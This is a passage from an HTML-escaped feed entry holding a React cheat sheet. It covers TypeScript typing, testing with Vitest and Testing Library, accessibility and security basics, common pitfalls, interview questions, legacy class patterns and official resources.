  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;variant&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;label&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Need&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;State that can be empty&lt;/td&gt;
&lt;td&gt;`useState&amp;lt;User \&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DOM ref&lt;/td&gt;
&lt;td&gt;{% raw %}&lt;code&gt;useRef&amp;lt;HTMLInputElement&amp;gt;(null)&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Input change event&lt;/td&gt;
&lt;td&gt;&lt;code&gt;React.ChangeEvent&amp;lt;HTMLInputElement&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Form submit event&lt;/td&gt;
&lt;td&gt;&lt;code&gt;React.FormEvent&amp;lt;HTMLFormElement&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Click event&lt;/td&gt;
&lt;td&gt;&lt;code&gt;React.MouseEvent&amp;lt;HTMLButtonElement&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Any renderable child&lt;/td&gt;
&lt;td&gt;&lt;code&gt;React.ReactNode&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Props of a native element&lt;/td&gt;
&lt;td&gt;&lt;code&gt;React.ComponentProps&amp;lt;'button'&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Style object&lt;/td&gt;
&lt;td&gt;&lt;code&gt;React.CSSProperties&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;You do not need &lt;code&gt;React.FC&lt;/code&gt;. Type the props directly.&lt;/li&gt;
&lt;li&gt;Let TypeScript infer when it can. Annotate props, state that starts empty, and refs.&lt;/li&gt;
&lt;li&gt;Use discriminated unions for state: &lt;code&gt;{ status: 'loading' } | { status: 'success'; data: User }&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  24. Testing
&lt;/h2&gt;

&lt;p&gt;Stack: &lt;strong&gt;Vitest&lt;/strong&gt; (or Jest) + &lt;strong&gt;React Testing Library&lt;/strong&gt; + &lt;strong&gt;user-event&lt;/strong&gt; + &lt;strong&gt;jest-dom&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm i &lt;span class="nt"&gt;-D&lt;/span&gt; vitest jsdom @testing-library/react @testing-library/user-event @testing-library/jest-dom
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;render&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;screen&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@testing-library/react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;userEvent&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@testing-library/user-event&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;expect&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;vitest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Counter&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./Counter&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;increments the count on click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Counter&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;);&lt;/span&gt;

  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getByRole&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;button&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sr"&gt;/count: 0/i&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;

  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getByRole&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;button&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sr"&gt;/count: 1/i&lt;/span&gt; &lt;span class="p"&gt;})).&lt;/span&gt;&lt;span class="nf"&gt;toBeInTheDocument&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Test like a user, not like a developer.&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Query priority&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. &lt;code&gt;getByRole&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;getByRole('button', { name: /save/i })&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. &lt;code&gt;getByLabelText&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;form fields&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. &lt;code&gt;getByText&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;visible text&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. &lt;code&gt;getByTestId&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;last resort&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Prefix&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getBy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Must exist now, throws if missing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;queryBy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Returns null if missing (assert absence)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;findBy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Async, waits for it to appear&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Test pyramid: many &lt;strong&gt;unit&lt;/strong&gt; tests, some &lt;strong&gt;integration&lt;/strong&gt; tests, few &lt;strong&gt;end-to-end&lt;/strong&gt; tests (Playwright or Cypress). Mock the network (MSW), not your own components.&lt;/p&gt;




&lt;h2&gt;
  
  
  25. Accessibility and security
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Accessibility basics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use semantic HTML: &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;label&amp;gt;&lt;/code&gt;. Not &lt;code&gt;&amp;lt;div onClick&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Every input needs a label: &lt;code&gt;&amp;lt;label htmlFor={id}&amp;gt;&lt;/code&gt; with &lt;code&gt;useId()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Every informative image needs &lt;code&gt;alt&lt;/code&gt;. Decorative images get &lt;code&gt;alt=""&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Keep keyboard navigation working. Manage focus in modals (focus in, focus restored on close).&lt;/li&gt;
&lt;li&gt;Use ARIA only when native HTML cannot do the job.&lt;/li&gt;
&lt;li&gt;Add &lt;code&gt;eslint-plugin-jsx-a11y&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;label&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useId&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;label&lt;/span&gt; &lt;span class="na"&gt;htmlFor&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;label&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;label&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security basics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Avoid &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;. If you must, sanitize with DOMPurify.&lt;/li&gt;
&lt;li&gt;Validate &lt;code&gt;href&lt;/code&gt; values from user input (block &lt;code&gt;javascript:&lt;/code&gt; URLs).&lt;/li&gt;
&lt;li&gt;Never put secrets in client code or &lt;code&gt;VITE_&lt;/code&gt; / &lt;code&gt;NEXT_PUBLIC_&lt;/code&gt; variables. Anything in the bundle is public.&lt;/li&gt;
&lt;li&gt;Keep tokens out of &lt;code&gt;localStorage&lt;/code&gt; when possible. Prefer &lt;code&gt;httpOnly&lt;/code&gt; cookies.&lt;/li&gt;
&lt;li&gt;Always re-check auth and validation on the server.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;npm audit&lt;/code&gt; and keep dependencies and frameworks updated.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Gotchas that bite everyone
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Stale state:&lt;/strong&gt; &lt;code&gt;setCount(count + 1)&lt;/code&gt; repeated does not add up. Use &lt;code&gt;setCount(c =&amp;gt; c + 1)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mutating state:&lt;/strong&gt; &lt;code&gt;arr.push(x); setArr(arr)&lt;/code&gt; does nothing, same reference.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;{0 &amp;amp;&amp;amp; &amp;lt;X/&amp;gt;}&lt;/code&gt;&lt;/strong&gt; shows &lt;code&gt;0&lt;/code&gt;. Compare explicitly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Index as key&lt;/strong&gt; on dynamic lists causes state jumping between items.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Missing dependencies&lt;/strong&gt; in &lt;code&gt;useEffect&lt;/code&gt;. Trust the linter.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Missing cleanup&lt;/strong&gt; (timers, listeners, subscriptions, fetch).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Race conditions&lt;/strong&gt; in fetch effects. Use &lt;code&gt;AbortController&lt;/code&gt; or a library.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Calling the handler:&lt;/strong&gt; &lt;code&gt;onClick={handle()}&lt;/code&gt; runs on render.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hooks inside conditions or loops.&lt;/strong&gt; Breaks hook order.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Defining a component inside another component.&lt;/strong&gt; It remounts on every render and loses state.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Derived state in &lt;code&gt;useState&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;useState(props.value)&lt;/code&gt; ignores later prop changes. Derive instead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Over-memoizing.&lt;/strong&gt; Memoization has a cost. Profile first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Putting everything in Context&lt;/strong&gt; or global state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reading &lt;code&gt;ref.current&lt;/code&gt; during render.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Effect where an event handler belongs.&lt;/strong&gt; If it responds to a click, it is not an effect.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Interview Rapid Fire
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Short answer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What is React?&lt;/td&gt;
&lt;td&gt;A JavaScript library for building UIs from components. Declarative, state-driven.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is the Virtual DOM?&lt;/td&gt;
&lt;td&gt;An in-memory description of the UI. React compares old and new (reconciliation) and updates only the real DOM parts that changed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is JSX?&lt;/td&gt;
&lt;td&gt;Syntax sugar that compiles to &lt;code&gt;jsx()&lt;/code&gt; calls producing element objects.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Props vs state?&lt;/td&gt;
&lt;td&gt;Props come from the parent and are read-only. State is owned by the component and changes over time.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Controlled vs uncontrolled?&lt;/td&gt;
&lt;td&gt;Controlled: React state drives the input value. Uncontrolled: the DOM holds the value, you read it via a ref or &lt;code&gt;FormData&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Why are keys needed?&lt;/td&gt;
&lt;td&gt;They identify items across renders so React reuses the right DOM and state.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Why can't you mutate state?&lt;/td&gt;
&lt;td&gt;React compares by reference. Mutation skips updates and breaks features like memo.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What does &lt;code&gt;useEffect&lt;/code&gt; do?&lt;/td&gt;
&lt;td&gt;Syncs a component with an external system after render. Cleanup runs before re-run and on unmount.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;useMemo&lt;/code&gt; vs &lt;code&gt;useCallback&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;useMemo&lt;/code&gt; caches a value. &lt;code&gt;useCallback(fn, deps)&lt;/code&gt; is &lt;code&gt;useMemo(() =&amp;gt; fn, deps)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;useRef&lt;/code&gt; vs &lt;code&gt;useState&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;Ref changes do not re-render. State changes do.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What triggers a re-render?&lt;/td&gt;
&lt;td&gt;State change, parent re-render, context change.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is &lt;code&gt;React.memo&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;Skips re-render when props are shallow-equal.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is prop drilling and how do you avoid it?&lt;/td&gt;
&lt;td&gt;Passing props through many layers. Use composition, Context, or a store.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is lifting state up?&lt;/td&gt;
&lt;td&gt;Moving state to the closest common parent so siblings can share it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What are Higher-Order Components?&lt;/td&gt;
&lt;td&gt;Functions that take a component and return a new one. Mostly replaced by hooks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rules of Hooks?&lt;/td&gt;
&lt;td&gt;Top level only. Only in components or custom hooks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is reconciliation?&lt;/td&gt;
&lt;td&gt;The diffing process that decides what changes in the DOM.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is Strict Mode?&lt;/td&gt;
&lt;td&gt;Dev-only checks: double-invokes renders and effects to find impurity and missing cleanup.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is Suspense?&lt;/td&gt;
&lt;td&gt;A boundary that shows a fallback while children are loading.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What are Server Components?&lt;/td&gt;
&lt;td&gt;Components that render only on the server, send no JS to the client, and can read data directly.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Client vs Server Component?&lt;/td&gt;
&lt;td&gt;Client: interactive, uses state and effects, needs &lt;code&gt;'use client'&lt;/code&gt;. Server: static or data-heavy, no interactivity.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What changed in React 19?&lt;/td&gt;
&lt;td&gt;Actions, &lt;code&gt;use&lt;/code&gt;, &lt;code&gt;useActionState&lt;/code&gt;, &lt;code&gt;useOptimistic&lt;/code&gt;, &lt;code&gt;ref&lt;/code&gt; as prop, metadata tags, better errors.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;useEffect&lt;/code&gt; vs &lt;code&gt;useLayoutEffect&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;The first runs after paint. The second runs before paint and blocks it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How do you optimize a slow React app?&lt;/td&gt;
&lt;td&gt;Profile, move state down, virtualize lists, code split, then memoize. Consider the React Compiler.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How do you handle errors?&lt;/td&gt;
&lt;td&gt;Error boundaries for render errors. &lt;code&gt;try/catch&lt;/code&gt; for handlers and async code.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Why is &lt;code&gt;fetch&lt;/code&gt; in &lt;code&gt;useEffect&lt;/code&gt; risky?&lt;/td&gt;
&lt;td&gt;Race conditions, no caching, no dedupe, waterfalls. Prefer a data library or framework loaders.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  28. Legacy stuff you may still see
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Class components.&lt;/strong&gt; Still work, rarely written. Only needed for error boundaries.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class lifecycle&lt;/th&gt;
&lt;th&gt;Hook equivalent (roughly)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;constructor&lt;/code&gt; / &lt;code&gt;this.state&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useState&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;componentDidMount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useEffect(fn, [])&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;componentDidUpdate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useEffect(fn, [deps])&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;componentWillUnmount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cleanup function in &lt;code&gt;useEffect&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;this.setState({...})&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;setState&lt;/code&gt; (class merges objects, hooks replace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;static contextType&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useContext&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Other legacy patterns:&lt;/strong&gt; HOCs, render props, &lt;code&gt;React.createClass&lt;/code&gt;, &lt;code&gt;ReactDOM.render&lt;/code&gt;, &lt;code&gt;propTypes&lt;/code&gt;, Create React App, Redux &lt;code&gt;createStore&lt;/code&gt;, React Router v5 &lt;code&gt;Switch&lt;/code&gt;/&lt;code&gt;Redirect&lt;/code&gt;/&lt;code&gt;useHistory&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  29. Official resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://react.dev/learn" rel="noopener noreferrer"&gt;react.dev Learn&lt;/a&gt;: the best free path, with interactive examples&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://react.dev/reference/react" rel="noopener noreferrer"&gt;react.dev API Reference&lt;/a&gt;: every hook and component&lt;/li&gt;
&lt;li&gt;&lt;a href="https://react.dev/learn/you-might-not-need-an-effect" rel="noopener noreferrer"&gt;You Might Not Need an Effect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://react.dev/blog" rel="noopener noreferrer"&gt;React Blog&lt;/a&gt;: release notes and security notices&lt;/li&gt;
&lt;li&gt;&lt;a href="https://react.dev/learn/react-compiler" rel="noopener noreferrer"&gt;React Compiler docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript" rel="noopener noreferrer"&gt;MDN JavaScript&lt;/a&gt; and &lt;a href="https://developer.mozilla.org" rel="noopener noreferrer"&gt;MDN Web Docs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://reactrouter.com" rel="noopener noreferrer"&gt;React Router docs&lt;/a&gt;, &lt;a href="https://tanstack.com/query" rel="noopener noreferrer"&gt;TanStack Query&lt;/a&gt;, &lt;a href="https://redux-toolkit.js.org" rel="noopener noreferrer"&gt;Redux Toolkit&lt;/a&gt;, &lt;a href="https://testing-library.com/docs/react-testing-library/intro/" rel="noopener noreferrer"&gt;Testing Library&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Tools: React DevTools (browser extension), &lt;code&gt;eslint-plugin-react-hooks&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final tip
&lt;/h2&gt;

&lt;p&gt;Do not try to memorize this in one sitting. Build a small project (todo app, then a dashboard with an API), come back here whenever you get stuck, and the patterns will stick.&lt;/p&gt;

&lt;p&gt;If this helped, save it for your next revision or interview prep. &lt;strong&gt;Next up in the series: Next.js.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Found something outdated or wrong? Drop a comment and I will fix it.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>react</category>
      <category>webdev</category>
      <category>javascript</category>
      <category>beginners</category>
    </item>
    <item>
